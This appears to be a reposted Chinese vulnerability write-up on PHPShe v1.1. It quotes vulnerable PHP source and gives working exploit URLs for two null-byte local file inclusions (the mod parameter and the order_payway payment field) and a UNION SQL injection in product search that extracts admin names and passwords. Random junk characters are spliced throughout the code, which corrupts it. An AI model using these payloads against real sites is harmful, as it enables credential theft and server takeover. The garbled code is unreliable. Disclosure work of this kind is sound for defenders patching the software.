phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
8 R1 W) [; I+ Z, a" S/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
1 ^9 O; x- Q2 a. D7 Rif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
$ \' z% M" [. {& p# X7 g% q  U!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
" Z+ J2 W1 p5 Y& p, [/ f. t% V! Dsession_start();
4 n" {# F0 B  y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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3 }4 k$ O; r1 ^6 F0×01 包含漏洞
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//首页文件
/ i0 [* n; ?0 {  ?<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- ?6 s5 J2 B* z# ginclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
' p$ `5 y8 l5 R7 V$ M' `$ v?>
//common 文件 第15行开始
url路由配置
1 A  x+ \5 l3 @# N: t' m2 \$ T7 H$module = $mod = $act = 'index';
6 c: F) S' _- |5 C9 E0 k$ N$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 r/ u# C, I, N8 N* ~$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

6 b  q9 D, s8 w+ h4 C<code id="code2">

//product.php文件
/ d( d5 @+ m$ a: y2 U! Ncase 'list':
) B% }5 {5 ^. c+ b0 J$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
) o6 L) a5 K  l' q0 t# z$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ g' k" L$ B! W! F8 J* n8 h}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
3 I- k, G2 w, f7 Yif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
% o# ?" [6 I# ]$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
+ _" M) F1 w, P  }8 u6 telse {
$sqlwhere .= " order by `product_id` desc";
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$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
' |# Y, t( o& @- x5 D: }9 v//当前路径
$nowpath = category_path($category_id);
6 F* s/ q) X! Q5 [/ I$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
$ R8 ~. r1 M, ]9 E( vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
1 G* Z1 {2 G& C5 o" Y! D4 p{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
' s5 R1 s2 a2 `0 J/ t  rreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
. l% ]  q$ o8 k3 u: M/ t2 q- J//exp
! u4 S2 {( b" `8 N' jproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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3 F1 a: }! o3 |8 J<code id="code3">

//order.php

case 'pay':

1 P& V% `5 ?. k0 \: w8 ]% j( q" v2 q: D$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

: J: e* F; v7 j0 o9 `' O# q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

! Z3 d1 {% K: `9 G% s9 ~% o! r- h$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

$ ]7 ]; k6 U6 x: n}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

6 a0 R& P# U  Hif (isset($_p_pesubmit)) {

) w) B* e- H7 w5 X* o4 Bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) t- w7 V2 t+ x$ W9 F) D" r$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! X; F" Y6 y5 g4 i2 xforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

, ]+ [0 u" V7 M( a+ E4 ainclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

' L# T, J9 `/ W5 q& r1 w& {; `else {

pe_error('支付错误...');

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$seo = pe_seo('选择支付方式');

; F4 G5 ^4 ?2 K, [6 }6 F0 B3 B2 winclude(pe_tpl('order_pay.html'));

5 c: f' r1 l4 @5 \7 d! kbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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